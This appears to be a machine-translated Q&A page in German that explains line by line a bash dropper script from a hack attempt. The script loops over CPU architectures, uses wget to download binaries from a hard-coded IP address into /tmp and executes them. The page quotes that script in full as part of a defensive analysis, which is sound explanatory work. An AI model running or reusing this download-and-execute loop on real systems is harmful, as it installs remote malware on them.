GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Was macht dieses Bash-Skript? [Hack-Versuch]

Zeile für Zeile:

#!/bin/sh

Legt den sh fest Shell, was auch immer das ist, als Shebang-Linie. sh%20/tmp/ks in der Anfrage überschreibt dies, sodass diese Zeile als normaler Kommentar behandelt und ignoriert wird.

u="asgknskjdgn"

Deklariert einen willkürlichen Namen, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin mir nicht sicher, warum sie nicht einfach mktemp verwenden würden , aber vielleicht ist das nicht auf allen Plattformen verfügbar.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Listet mehrere gängige CPU-Architekturen auf.

http_server="80.211.173.159"
http_port=80

Der Server, der den Exploit hat.

cd /tmp/||cd /var/

Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich glaube, dass SELinux dabei helfen wird, indem es viel strengere Regeln darüber durchsetzt, was der Webserver tun kann, als das Dateisystem alleine tut.

for name in $bin_names
    do

Für jede CPU-Architektur…

    rm -rf $u

Entfernt zuvor ausprobierte Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.

    cp $SHELL $u

Kopiert die aktuelle ausführbare Shell-Datei (/bin/sh ). Kann wegen der Zeile nach next ignoriert werden.

    chmod 777 $u

Jeder hat vollen Zugriff auf die neue Datei. Dies sollte nach wget gewesen sein Befehl, der entweder ein Zeichen für einen Shell-Scripting-Neuling oder eine Fehlleitungstechnik ist.

    >$u

Leert die Datei. Sinnlos wegen der nächsten Zeile.

    wget http://$http_server:$http_port/$name -O -> $u

Überschreibt die Datei mit dem Exploit-Skript für diese Architektur. -O -> $u hätte -O - > $u geschrieben werden können (der Bindestrich zeigt an, dass der Download in die Standardausgabe geschrieben werden soll), was -O $u entspricht .

    ./$u $name

Führt das Exploit-Skript mit der Architektur als erstem Argument aus.

done

Beendet die Schleife.

Es sieht so aus, als wäre dies ein triviales Exploit-Versuchsskript, das bekannte Exploits gegen verschiedene CPU-Plattformen ausprobiert. Ich weiß nicht, warum es $u überschreibt dreimal, aber diese Operationen könnten einfach Überreste einer früheren Iteration des Skripts sein. Vermutlich hatte die frühere Version die Exploits fest codiert und nicht dynamisch bereitgestellt - Ersteres ist einfacher, garantiert aber fast, dass das Skript im Laufe der Zeit weniger effektiv ist, wenn Fehler gepatcht werden.


Die wget ist die gefährlichste Schlüssellinie.

Die for name in $bin_names arbeitet die Liste der Plattformen ab und löscht für jede Plattform ein temporäres Verzeichnis, kopiert eine Shell hinüber und macht sie dann für alle zugänglich.

Anschließend lädt es eine Datei mit wget herunter und führt es dann mit dem gerade kopierten Shell-Programm aus.

Das Skript versucht im Grunde, eine Reihe von ausführbaren Dateien oder Skripts für jede mögliche Plattform herunterzuladen und sie gegen Ihr System zu reiben, in der Hoffnung, dass es Ihr System weiter gefährden kann.


Linux
  1. Was macht „exec {fd}/watchdog“ in Bash?

  2. Befehlszeilenargumente an Bash-Skript übergeben?

  3. Kann dieses Skript nicht verstehen. Basch ?

  4. „e:Unterprozess /usr/bin/dpkg hat einen Fehlercode zurückgegeben (1)“ Was bedeutet das?

  5. Was macht die Zeile '!/bin/sh -e'?

Automatisieren Sie die Bildverarbeitung mit diesem Bash-Skript

Verwenden Sie dieses hilfreiche Bash-Skript, wenn Sie Sterne beobachten

Was bedeutet „:-“ in einem Shell-Skript?

Was bedeutet kaufmännisches Und am Ende einer Shell-Skriptzeile?

Was zeigt diese Prozessstatistik an?

Was macht das -e in einem Bash-Shebang?